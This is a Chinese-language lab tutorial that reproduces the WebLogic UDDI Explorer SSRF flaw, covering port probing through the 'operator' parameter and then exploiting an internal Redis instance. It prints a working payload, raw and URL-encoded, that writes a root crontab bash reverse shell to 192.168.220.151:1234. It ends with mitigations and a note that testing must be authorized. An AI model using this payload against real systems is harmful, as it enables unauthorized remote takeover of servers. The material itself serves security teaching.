Weblogic SSRF漏洞复现
字数 835 2025-08-15 21:32:33
Weblogic SSRF漏洞复现教学文档
一、漏洞概述
Weblogic Server的UDDI Explorer模块中存在SSRF(Server-Side Request Forgery)漏洞,攻击者可以通过构造恶意请求访问服务器内部网络资源或利用内网服务漏洞获取系统权限。
二、环境搭建
- 使用Docker搭建漏洞环境
- 下载并运行包含漏洞的Weblogic容器
- 确保Weblogic服务运行在7001端口
三、漏洞定位
-
漏洞存在页面:
/uddiexplorer/SearchPublicRegistries.jsp -
关键检查点:
- 页面中IBM相关链接可能存在SSRF漏洞
- 该功能会向指定URL发起请求
四、漏洞复现步骤
1. 基础探测
- 使用Burp Suite抓包
- 定位到Search功能的请求
- 重点关注
operator参数
2. 端口扫描利用
- 修改
operator参数值为目标地址- 访问不存在的端口:返回"could not connect over HTTP"
- 访问存在的端口:返回不同状态码
3. 内网服务攻击(以Redis为例)
- 构造Redis反弹Shell的Payload:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.151/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
- URL编码后的Payload:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.151%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 攻击流程:
- 将编码后的Payload作为
operator参数值 - 发送请求到存在漏洞的Weblogic服务器
- Weblogic服务器会向Redis服务发送该请求
- Redis会执行命令写入定时任务
- 攻击机监听1234端口等待反弹Shell连接
- 将编码后的Payload作为
五、防御措施
-
临时解决方案:
- 删除或限制访问
/uddiexplorer目录 - 配置网络访问控制策略
- 删除或限制访问
-
长期解决方案:
- 升级Weblogic到最新版本
- 实施网络隔离,限制服务器出站连接
- 对用户输入进行严格过滤和验证
六、注意事项
- 漏洞利用需遵守法律法规,仅限授权测试
- Redis未授权访问漏洞常与SSRF结合利用
- 内网渗透需考虑网络拓扑和防火墙规则
- 反弹Shell的IP和端口需根据实际情况修改